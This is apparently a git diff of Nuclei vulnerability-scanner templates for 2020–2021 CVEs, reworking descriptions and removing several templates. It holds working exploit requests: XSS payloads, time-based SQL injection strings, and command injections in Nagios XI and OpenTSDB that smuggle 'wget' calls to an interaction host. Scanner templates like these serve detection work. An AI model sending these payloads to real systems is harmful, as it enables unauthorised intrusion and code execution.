-  tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated
-
-variables:
-  string: "{{to_lower('{{randstr}}')}}"
-
-requests:
-  - raw:
-      - |
-        POST /admin/index.php?id=dashboard HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        login={{username}}&password={{password}}&login_submit=Log+In
-
-      - |
-        GET /admin/index.php?id=pages&action=add_page HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-      - |
-        POST /admin/index.php?id=pages&action=add_page HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
-
-      - |
-        GET /{{string}} HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(all_headers_4, "text/html")'
-          - 'status_code_4 == 200'
-          - 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
-        condition: and
-
-    extractors:
-      - type: regex
-        name: csrf
-        part: body
-        group: 1
-        regex:
-          - 'id="csrf" name="csrf" value="(.*)">'
-        internal: true
-
-# Enhanced by md on 2023/02/01
@@ -15,7 +15,7 @@ info:
    cve-id: CVE-2020-24902
    cwe-id: CWE-79
  metadata:
-    google-query: intitle:"My Download Server"
+    google-dork: intitle:"My Download Server"
    shodan-query: http.title:"My Download Server"
    verified: "true"
  tags: cve,cve2020,quixplorer,xss
@@ -1,10 +1,10 @@
 id: CVE-2020-26413

 info:
-  name: Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure
+  name: Gitlab User enumeration via Graphql API
  author: _0xf4n9x_,pikpikcu
  severity: medium
-  description: GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.4 before 13.6.2. Information disclosure via GraphQL results in user email being unexpectedly visible.
  reference:
    - https://gitlab.com/gitlab-org/gitlab/-/issues/244275
    - https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
@@ -50,5 +50,3 @@ requests:
        part: body
        json:
          - '.data.users.edges[].node.email'
-
-# Enhanced by md on 2023/02/01
@@ -1,11 +1,11 @@
 id: CVE-2020-2733

 info:
-  name: JD Edwards EnterpriseOne Tools 9.2 - Information Disclosure
+  name: JD Edwards EnterpriseOne Tools - Admin Password Disclosure
  author: DhiyaneshDk,pussycat0x
  severity: critical
  description: |
-    JD Edwards EnterpriseOne Tools 9.2 is susceptible to information disclosure via the Monitoring and Diagnostics component. An attacker with network access via HTTP can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+    Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics). The supported version that is affected is 9.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools.
  reference:
    - https://redrays.io/cve-2020-2733-jd-edwards/
    - https://www.oracle.com/security-alerts/cpuapr2020.html
@@ -39,5 +39,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/02/01
@@ -1,15 +1,15 @@
 id: CVE-2020-28976

 info:
-  name: WordPress Canto 1.3.0 - Blind Server-Side Request Forgery
+  name: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)
  author: LogicalHunter
  severity: medium
-  description: WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  description: The Canto plugin 1.3.0 for WordPress contains a blind SSRF vulnerability. It allows an unauthenticated attacker to make a request to any internal and external server via /includes/lib/detail.php?subdomain=SSRF.
  reference:
    - https://www.exploit-db.com/exploits/49189
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-28976
    - https://www.canto.com/integrations/wordpress/
    - https://github.com/CantoDAM/Canto-Wordpress-Plugin
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-28976
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -29,6 +29,4 @@ requests:
      - type: word
        part: interactsh_protocol
        words:
-          - "http"
-
-# Enhanced by md on 2023/02/01
+          - "http"
@@ -1,48 +1,42 @@
 id: CVE-2020-35476

 info:
-  name: OpenTSDB <=2.4.0 - Remote Code Execution
+  name: OpenTSDB <= 2.4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
-  description: |
-    OpenTSDB 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
+  description: OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
  reference:
    - https://github.com/OpenTSDB/opentsdb/issues/2051
-    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
+    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35476
    cwe-id: CWE-78
-  metadata:
-    verified: true
-    shodan-query: html:"OpenTSDB"
  tags: cve,cve2020,opentsdb,rce,packetstorm

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
-
+      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://interact.sh%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
    matchers-condition: and
    matchers:
-
-      - type: word
-        part: body
-        words:
-          - plotted
-          - timing
-          - cachehit
-        condition: and
-
-      - type: word
-        part: header
-        words:
-          - application/json
-
      - type: status
        status:
          - 200

-# Enhanced by md on 2023/02/01
+      - type: word
+        words:
+          - plotted
+          - timing
+          - cachehit
+        part: body
+        condition: and
+
+      - type: word
+        words:
+          - application/json
+        part: header
+
+# Enhanced by mp on 2022/04/28
@@ -1,11 +1,11 @@
 id: CVE-2021-20323

 info:
-  name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
+  name: Keycloak < 18.0.0 - Cross Site Scripting
  author: ndmalc
  severity: medium
  description: |
-    Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
+    Keycloak before 18.0.0 and after 10.0.0 allows a reflected XSS on client-registrations endpoint. On POST request, when a request is submitted, the application does not sanitize unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as html. This can be performed on any realm present on the Keycloak instance. Currently, due to the bug requiring Content-Type application/json and is submitted via a POST, there is no common path to exploit that have a user impact.
  reference:
    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
@@ -52,5 +52,3 @@ requests:
      - type: status
        status:
          - 400
-
-# Enhanced by md on 2023/01/06
@@ -1,13 +1,13 @@
 id: CVE-2021-21816

 info:
-  name: D-Link DIR-3040 1.13B03 - Information Disclosure
+  name: D-Link DIR-3040 - Syslog Information Disclosure
  author: gy741
  severity: medium
-  description: D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
+  description: An information disclosure vulnerability exists in the Syslog functionality of D-Link DIR-3040 1.13B03. A specially crafted network request can lead to the disclosure of sensitive information. An attacker
+    can send an HTTP request to trigger this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-21816
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
@@ -33,5 +33,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/02/01
@@ -1,15 +1,18 @@
 id: CVE-2021-24227

 info:
-  name: Patreon WordPress  <1.7.0 - Unauthenticated Local File Inclusion
+  name: Patreon WordPress < 1.7.0 - Unauthenticated Local File Disclosure
  author: theamanrawat
  severity: high
-  description: Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies.
+  description: The Jetpack Scan team identified a Local File Disclosure vulnerability
+    in the Patreon WordPress plugin before 1.7.0 that could be abused by anyone visiting
+    the site. Using this attack vector, an attacker could leak important internal
+    files like wp-config.php, which contains database credentials and cryptographic
+    keys used in the generation of nonces and cookies.
  reference:
    - https://wpscan.com/vulnerability/f62df02d-7678-440f-84a1-ddbf09364016
    - https://wordpress.org/plugins/patreon-connect/
    - https://jetpack.com/2021/03/26/vulnerabilities-found-in-patreon-wordpress-plugin/
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-24227
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -31,5 +34,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -1,16 +1,16 @@
 id: CVE-2021-24827

 info:
-  name: WordPress Asgaros Forum <1.15.13 - SQL Injection
+  name: Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+    The Asgaros Forum WordPress plugin before 1.15.13 does not validate and escape user input when subscribing to a topic before using it in a SQL statement, leading to an unauthenticated SQL injection issue.
  reference:
    - https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
    - https://wordpress.org/plugins/asgaros-forum/
-    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24827
+    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -35,5 +35,3 @@ requests:
          - 'contains(content_type, "text/html")'
          - 'contains(body, "asgarosforum")'
        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -1,38 +0,0 @@
-id: CVE-2021-24946
-
-info:
-  name: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection
-  author: theamanrawat
-  severity: critical
-  description: |
-    WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
-  reference:
-    - https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
-    - https://wordpress.org/plugins/modern-events-calendar-lite/
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-24946
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2021-24946
-    cwe-id: CWE-89
-  metadata:
-    verified: "true"
-  tags: wordpress,wp-plugin,wp,unauth,wpscan,cve,cve2021,sqli,modern-events-calendar-lite
-
-requests:
-  - raw:
-      - |
-        @timeout: 10s
-        GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'duration>=6'
-          - 'status_code == 200 || status_code == 500'
-          - 'contains(content_type, "text/html")'
-          - 'contains(body, "The event is finished") || contains(body, "been a critical error")'
-        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -1,15 +1,15 @@
 id: CVE-2021-24997

 info:
-  name: WordPress Guppy <=1.1 - Information Disclosure
+  name: Wordpress Guppy <=1.1 - User ID Disclosure
  author: Evan Rubinstein
  severity: medium
-  description: WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.
+  description: Instances of the Guppy Wordpress extension up to 1.1 are vulnerable to an API disclosure vulnerability which allows remote unauthenticated attackrs to obtain all user IDs, and then use that information to make API requests to either get messages sent between users, or send messages posing as one user to another.
  reference:
    - https://www.exploit-db.com/exploits/50540
    - https://patchstack.com/database/vulnerability/wp-guppy/wordpress-wp-guppy-plugin-1-2-sensitive-information-disclosure-vulnerability
-    - https://wpscan.com/vulnerability/747e6c7e-a167-4d82-b6e6-9e8613f0e900
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24997
+    - https://wpscan.com/vulnerability/747e6c7e-a167-4d82-b6e6-9e8613f0e900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
@@ -35,5 +35,3 @@ requests:
          - '"userId":'
          - '"type":'
        condition: and
-
-# Enhanced by md on 2023/02/01
@@ -1,11 +1,11 @@
 id: CVE-2021-25099

 info:
-  name: WordPress GiveWP <2.17.3 - Cross-Site Scripting
+  name: Give < 2.17.3 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
-    WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+    The GiveWP WordPress plugin before 2.17.3 does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting.
  reference:
    - https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
    - https://wordpress.org/plugins/give/
@@ -17,7 +17,7 @@ info:
    cwe-id: CWE-79
  metadata:
    verified: "true"
-  tags: wp-plugin,wp,give,unauth,wordpress,cve2021,xss,wpscan,cve
+  tags: give,unauth,cve2021,wordpress,wp-plugin,xss,cve,wp,wpscan

 requests:
  - raw:
@@ -36,5 +36,3 @@ requests:
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "give_user_login")'
        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -1,41 +0,0 @@
-id: CVE-2021-25114
-
-info:
-  name: Paid Memberships Pro < 2.6.7 - Unauthenticated Blind SQL Injection
-  author: theamanrawat
-  severity: critical
-  description: |
-    The plugin does not escape the discount_code in one of its REST route (available to unauthenticated users) before using it in a SQL statement, leading to a SQL injection.
-  reference:
-    - https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b
-    - https://wordpress.org/plugins/paid-memberships-pro/
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-25114
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2021-25114
-    cwe-id: CWE-89
-  metadata:
-    google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
-    verified: "true"
-  tags: wp-plugin,wp,sqli,paid-memberships-pro,wpscan,cve,cve2021,wordpress
-
-requests:
-  - raw:
-      - |
-        @timeout: 15s
-        GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - duration_1>=6
-          - contains(all_headers_1, "application/json")
-          - status_code == 200
-          - contains(body_2, 'other_discount_code_')
-        condition: and
@@ -1,80 +0,0 @@
-id: CVE-2021-25296
-
-info:
-  name: Nagios XI versions 5.5.6 to 5.7.5 - Command Injection
-  author: k0pak4
-  severity: high
-  description: |
-    Nagios XI versions 5.5.6 to 5.7.5 are affected by OS command injection. An authenticated user can gain code execution due to unsanitized URL paramaters.
-  reference:
-    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
-    - https://github.com/rapid7/metasploit-framework/pull/17494
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-25296
-    - http://nagios.com
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 8.8
-    cve-id: CVE-2021-25296
-    cwe-id: CWE-78
-  metadata:
-    shodan-query: title:"Nagios XI"
-    verified: "true"
-  tags: rce,oast,authenticated,msf,cve,cve2021,nagiosxi,kev
-
-requests:
-  - raw:
-      - |
-        GET /nagiosxi/login.php HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        POST /nagiosxi/login.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
-
-      - |
-        GET /nagiosxi/index.php HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        @timeout: 20s
-        GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&ip_address=127.0.0.1&domain=127.0.0.1&username=username&password=password&plugin_output_len=9999%3bwget%20{{interactsh-url}}%3b HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: interactsh_protocol # Confirms the DNS Interaction
-        words:
-          - "dns"
-
-      - type: word
-        part: body_4
-        words:
-          - "Event Log"
-          - "Display Name"
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        name: nsp
-        part: body
-        group: 1
-        regex:
-          - "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
-        internal: true
-
-      - type: regex
-        part: body
-        name: nsp_auth
-        group: 1
-        regex:
-          - "var nsp_str = ['\"](.*)['\"];"
-        internal: true
@@ -1,80 +0,0 @@
-id: CVE-2021-25297
-
-info:
-  name: Nagios XI versions 5.5.6 to 5.7.5 - Command Injection
-  author: k0pak4
-  severity: high
-  description: |
-    Nagios XI versions 5.5.6 to 5.7.5 are affected by OS command injection. An authenticated user can gain code execution due to unsanitized URL paramaters.
-  reference:
-    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
-    - https://github.com/rapid7/metasploit-framework/pull/17494
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-25297
-    - http://nagios.com
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 8.8
-    cve-id: CVE-2021-25297
-    cwe-id: CWE-78
-  metadata:
-    shodan-query: title:"Nagios XI"
-    verified: "true"
-  tags: rce,oast,authenticated,msf,cve,cve2021,nagiosxi,kev
-
-requests:
-  - raw:
-      - |
-        GET /nagiosxi/login.php HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        POST /nagiosxi/login.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
-
-      - |
-        GET /nagiosxi/index.php HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        @timeout: 20s
-        GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=switch&ip_address=127.0.0.1%22%3b%20wget%20{{interactsh-url}}%3b&snmpopts%5bsnmpcommunity%5d=public&scaninterfaces=on HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: interactsh_protocol # Confirms the DNS Interaction
-        words:
-          - "dns"
-
-      - type: word
-        part: body_4
-        words:
-          - "<b>Ping</b>"
-          - "Switch Details"
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        name: nsp
-        part: body
-        group: 1
-        regex:
-          - "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
-        internal: true
-
-      - type: regex
-        part: body
-        name: nsp_auth
-        group: 1
-        regex:
-          - "var nsp_str = ['\"](.*)['\"];"
-        internal: true
@@ -1,80 +0,0 @@
-id: CVE-2021-25298
-
-info:
-  name: Nagios XI 5.5.6 to 5.7.5 - Command Injection
-  author: k0pak4
-  severity: high
-  description: |
-    Nagios XI versions 5.5.6 to 5.7.5 are affected by OS command injection. An authenticated user can gain code execution due to unsanitized URL paramaters.
-  reference:
-    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
-    - https://github.com/rapid7/metasploit-framework/pull/17494
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-25298
-    - http://nagios.com
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 8.8
-    cve-id: CVE-2021-25298
-    cwe-id: CWE-78
-  metadata:
-    shodan-query: title:"Nagios XI"
-    verified: "true"
-  tags: oast,authenticated,msf,cve,cve2021,nagiosxi,rce,kev
-
-requests:
-  - raw:
-      - |
-        GET /nagiosxi/login.php HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        POST /nagiosxi/login.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
-
-      - |
-        GET /nagiosxi/index.php HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        @timeout: 20s
-        GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=4&wizard=digitalocean&no_ssl_verify=1&ip_address=127.0.0.1%3b%20wget%20{{interactsh-url}}%3b HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: interactsh_protocol # Confirms the DNS Interaction
-        words:
-          - "dns"
-
-      - type: word
-        part: body_4
-        words:
-          - "Connection Information"
-          - "Host Check"
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        name: nsp
-        part: body
-        group: 1
-        regex:
-          - "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
-        internal: true
-
-      - type: regex
-        part: body
-        name: nsp_auth
-        group: 1
-        regex:
-          - "var nsp_str = ['\"](.*)['\"];"
-        internal: true
@@ -1,57 +0,0 @@
-id: CVE-2021-25299
-
-info:
-  name: Nagios XI 5.7.5 - Cross-Site Scripting
-  author: ritikchaddha
-  severity: medium
-  description: |
-    Nagios XI version xi-5.7.5 is affected by cross-site scripting (XSS). The vulnerability exists in the file /usr/local/nagiosxi/html/admin/sshterm.php due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal his/her session cookies or it can be chained with the previous bugs to get one-click remote command execution (RCE) on the Nagios XI server.
-  reference:
-    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-25299
-    - http://nagios.com
-    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2021-25299
-    cwe-id: CWE-79
-  metadata:
-    shodan-query: title:"Nagios XI"
-    verified: "true"
-  tags: cve,cve2021,nagios,nagiosxi,xss,authenticated
-
-requests:
-  - raw:
-      - |
-        GET /nagiosxi/login.php HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        POST /nagiosxi/login.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
-
-      - |
-        GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    matchers:
-      - type: dsl
-        dsl:
-          - "contains(all_headers_3, 'text/html')"
-          - "status_code_3 == 200"
-          - 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
-        condition: and
-
-    extractors:
-      - type: regex
-        name: nsp
-        part: body
-        group: 1
-        regex:
-          - 'name="nsp" value="(.*)">'
-        internal: true
@@ -1,38 +0,0 @@
-id: CVE-2021-25899
-
-info:
-  name: Void Aural Rec Monitor 9.0.0.1 - SQL Injection
-  author: edoardottt
-  severity: high
-  description: |
-    An issue was discovered in svc-login.php in Void Aural Rec Monitor 9.0.0.1. An unauthenticated attacker can send a crafted HTTP request to perform a blind time-based SQL Injection. The vulnerable parameter is param1.
-  reference:
-    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/all-your-databases-belong-to-me-a-blind-sqli-case-study/
-    - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=28765
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-25899
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2021-25899
-    cwe-id: CWE-89
-  metadata:
-    shodan-query: html:"AURALL"
-  tags: cve,cve2021,sqli,void,aurall
-
-requests:
-  - raw:
-      - |
-        POST /AurallRECMonitor/services/svc-login.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        param1=dummy'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))dummy)--+dummy&param2=test
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'duration>=5'
-          - 'status_code == 200'
-          - 'contains(content_type, "text/html")'
-          - 'contains(body, "Contacte con el administrador")'
-        condition: and
@@ -1,14 +1,14 @@
 id: CVE-2021-28150

 info:
-  name: Hongdian H8922 3.0.5 - Information Disclosure
+  name: Hongdian Sensitive Information
  author: gy741
  severity: medium
-  description: Hongdian H8922 3.0.5 is susceptible to information disclosure. An attacker can access cli.conf (with the administrator password and other sensitive data) via /backup2.cgi and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
+  description: Hongdian H8922 3.0.5 devices allow the unprivileged guest user to read cli.conf (with the administrator password and other sensitive data) via /backup2.cgi.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
-    - http://en.hongdian.com/Products/Details/H8922
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28150
+    - http://en.hongdian.com/Products/Details/H8922
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.5
@@ -43,6 +43,4 @@ requests:
        words:
          - "CLI configuration saved from vty"
          - "service webadmin"
-        part: body
-
-# Enhanced by md on 2023/02/01
+        part: body
@@ -39,17 +39,21 @@ requests:

    matchers-condition: and
    matchers:
-      - type: regex
-        regex:
-          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-          - "application/x-www-form-urlencoded"
-        condition: or
-
      - type: status
        status:
          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: word
+        words:
+          - "uid="
+          - "gid="
+          - "groups="
+        part: body
+        condition: and
+
+# Enhanced by mp on 2022/07/15
@@ -1,40 +0,0 @@
-id: CVE-2021-30134
-
-info:
-  name: php-mod/curl Library - Cross-Site Scripting
-  author: theamanrawat
-  severity: medium
-  description: |
-    php-mod/curl (a wrapper of the PHP cURL extension) before 2.3.2 allows XSS via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php.
-  reference:
-    - https://wpscan.com/vulnerability/0b547728-27d2-402e-ae17-90d539344ec7
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-30134
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2021-30134
-    cwe-id: CWE-79
-  metadata:
